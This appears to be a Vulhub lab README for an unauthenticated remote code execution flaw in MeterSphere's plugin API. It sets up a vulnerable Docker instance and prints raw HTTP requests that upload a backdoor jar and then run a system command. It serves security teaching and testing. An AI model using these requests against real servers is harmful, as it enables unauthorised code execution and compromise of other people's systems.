Aaron
63285f61aa
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80 lines
2.4 KiB
Markdown
80 lines
2.4 KiB
Markdown
# MeterSphere Plugin Endpoint Remote Code Execution
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[中文版本(Chinese version)](README.zh-cn.md)
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MeterSphere is a one-stop open source continuous testing platform under the GPL v3 open source license.
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In the version v1.16.3 and before, MeterSphere's plugin API is unauthenticated and the attackers are able to upload plugins to the server and execute arbitrary code.
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References:
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- <https://xz.aliyun.com/t/10772>
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## Vulnerable environment
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Execute following command to start a MeterSphere server v1.16.3:
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```
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docker compose up -d
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```
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After the server is fully initialized, you can see the login page of MeterSphere on `http://your-ip:8081`.
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## Exploit
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Firstly, by visiting `http://your-ip:8081/plugin/list`, you can see that the success message is returned without being redirected to the login page, indicating that the plugin API can be accessed without authorization.
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Then, you should create a crafted evil plugin. Vulhub prepares a pre-built backdoor jar for it: <https://github.com/vulhub/metersphere-plugin-Backdoor/releases/tag/v1.1.0>.
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Upload the evil jar plugin to `/plugin/add` interface:
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```
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POST /plugin/add HTTP/1.1
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Host: localhost:8081
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJV2KX1EL5qmKWXsd
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Content-Length: 11985
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------WebKitFormBoundaryJV2KX1EL5qmKWXsd
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Content-Disposition: form-data; name="file"; filename="Evil.jar"
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[Paste your jar file]
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------WebKitFormBoundaryJV2KX1EL5qmKWXsd--
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```
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> **Take care of bytes encoding by yourself if you use Burpsuite to send the package.**
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Althrough there is an error message is respond, the JAR package path is already added into URL classloader which means we can exploit it.
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Use following request to execute arbitrary command:
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```
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POST /plugin/customMethod HTTP/1.1
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Host: localhost:8081
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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Content-Length: 89
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{
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"entry": "org.vulhub.Evil",
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"request": "id"
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}
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```
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